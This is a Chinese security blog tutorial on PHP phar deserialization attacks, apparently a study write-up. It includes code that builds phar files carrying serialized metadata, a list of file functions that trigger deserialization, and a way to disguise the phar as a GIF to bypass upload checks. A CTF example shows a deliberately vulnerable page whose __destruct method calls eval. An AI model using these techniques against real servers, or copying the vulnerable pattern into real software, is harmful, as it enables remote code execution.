zoukankan      html  css  js  c++  java
  • phar反序列化

    前言:看了酒馆师傅的那篇phar反序列化的利用之后,自己就来学习下phar反序列化!

    在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作!

    不依赖不是说没有,只是相关文件的系统函数底层实现的时候会进行unserialize的操作

    phar文件结构:

    1. A stub

    可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

    2.A manifest describing the contents

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是phar反序列化攻击手法最核心的地方

    3.The file contents

    被压缩文件的内容。

    4.[optional] a signature for verifying Phar integrity (phar file format only)

    签名,放在文件末尾,格式如下:


    初步了解:

    注意:要将php.ini中的 **phar.readonly ** 选项设置为Off,否则无法生成phar文件。

    然后用php内置的phar类来构建一个文件

    <?php
        class TestObject {
        }
    
        @unlink("phar.phar");
        $phar = new Phar("phar.phar"); //后缀名必须为phar
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
        $o = new TestObject();
        $phar->setMetadata($o); //将自定义的meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>
    

    hex编码工具打开查看,可以看到 meta-data 序列化的内容成功的保存到了文件中

    在一些 文件函数 通过 phar:// 伪协议解析phar文件时都会将meta-data反序列化

    受影响的函数有

    fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents
    
    file         filegroup        fopen        fileinode      fileowner            fileperms
    
    is_dir       is_file          is_link      is_executable  is_readable          is_writeable
    
    is_wirtble   parse_ini_file   copy         unlink         stat                 readfile        info_file   
    

    已经序列化的内容已经保存在了phar.phar中,我们用受影响的函数进行试验,去触发反序列化

    <?php 
        class TestObject {
            public function __destruct() {
                echo 'Destruct called';
            }
        }
    
        $filename = 'phar://phar.phar/test.txt'; //test.txt是保存在phar包中的文件条目
        file_exists($filename); //受影响的file_exists函数
    ?>
    

    结果内容如下:

    可以看到先触发了反序列化 输出了test内容,然后还会执行当前TestObject类中的析构函数,如果当前没有写TestObject类的话,单纯执行反序列化只会输出test内容!

    当文件系统函数的参数可控时,我们可以在 不调用unserialize()的情况下 进行 反序列化操作 ,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面 !

    再继续看php底层是怎么帮我们处理的?

    处理代码如下:

    int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len){
    
        php_unserialize_data_t var_hash;
        if (zip_metadata_len) {
            const unsigned char *p;
            unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len);
            p = p_buff;
            ZVAL_NULL(metadata);
            PHP_VAR_UNSERIALIZE_INIT(var_hash);
    
            if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) { //这里是最重要的,如果metadata存在的话 就会帮我们进行反序列化的操作,if语句后面就是对前面生成的数据的内存清除
                efree(p_buff);
                PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
                zval_ptr_dtor(metadata);
                ZVAL_UNDEF(metadata);
                return FAILURE;
            }
            efree(p_buff);
            PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
        }
    }
    

    unserialize 的定义为:若被解序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup() 成员函数(如果存在的话)

    所以先前定义的 TestObject 类,当有数据被反序列化了之后就会被重新构造为TestObject类的对象,并且还会有属于自己的属性!


    phar包的伪装:

    phar文件还可以伪装后缀名,首先要知道的phar文件唯一的标识符__HALT_COMPILER();?>,只要不影响标识符,那么我们就可以通过 添加任意的文件头 + 修改后缀名的方式 将phar文件伪装成其他格式的文件

    <?php
        class TestObject {
        }
    
        @unlink("phar.phar");
        $phar = new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
        $o = new TestObject();
        $phar->setMetadata($o); //将自定义meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>
    

    生成的文件为如下:

    采用这种方法可以绕过很大一部分上传检测。


    phar反序列化实际应用:

    1. phar文件要能够上传到服务器端
    2. 要有可用的魔术方法作为"跳板"
    3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

    拿一道ctf的题目来进行学习:

    第一题:

    <?php 
    
    if(isset($_GET['filename'])){
        $filename = $_GET['filename'];
        class MyClass{
            var $Output = 'echo "hahaha"';
            function __destruct()
            {
                // TODO: Implement __destruct() method.
                eval($this->Output);
            }
        }
        file_exists($filename);
    }else{
        highlight_file(__FILE__);
    }
    

    我们可以通过上面生成phar包,其中meta-data 部分是 存储了MyClass实例化的对象值,然后通过$_GET['filename'],进行 file_exists 从而触发反序列化来覆盖 $Output 变量,最后导致eval($this->Output);命令执行!

    参考文章:https://paper.seebug.org/680/
    参考文章:https://mochazz.github.io/2019/02/02/PHP反序列化入门之phar/#phar介绍

  • 相关阅读:
    【Spring】每个程序员都使用Spring(四)——Aop+自定义注解做日志拦截
    倪光南:保护科技人员知识产权是提升企业创新的关键(柳传志,杨元庆没有投入资金和技术,却占了大量股份,在全世界都非常少见)
    凡是能导到线上的都已经尝试过了,现在转化用户成本非常高,到了强者恒强的时代
    MIPS 指令集将在近期开源,RISC-V 阵营慌吗?
    QmlWinExtras
    用css解决Unigui在IE系列浏览器中字体变小的问题(设置UniServeModule的customcss属性)
    uni-app
    .net core consul grpc--系统服务RPC实现通信(一)
    系统间通信——RPC架构设计
    程序是由数据结构属于静态的部分和算法的调用为动态部分构成
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12521675.html
Copyright © 2011-2022 走看看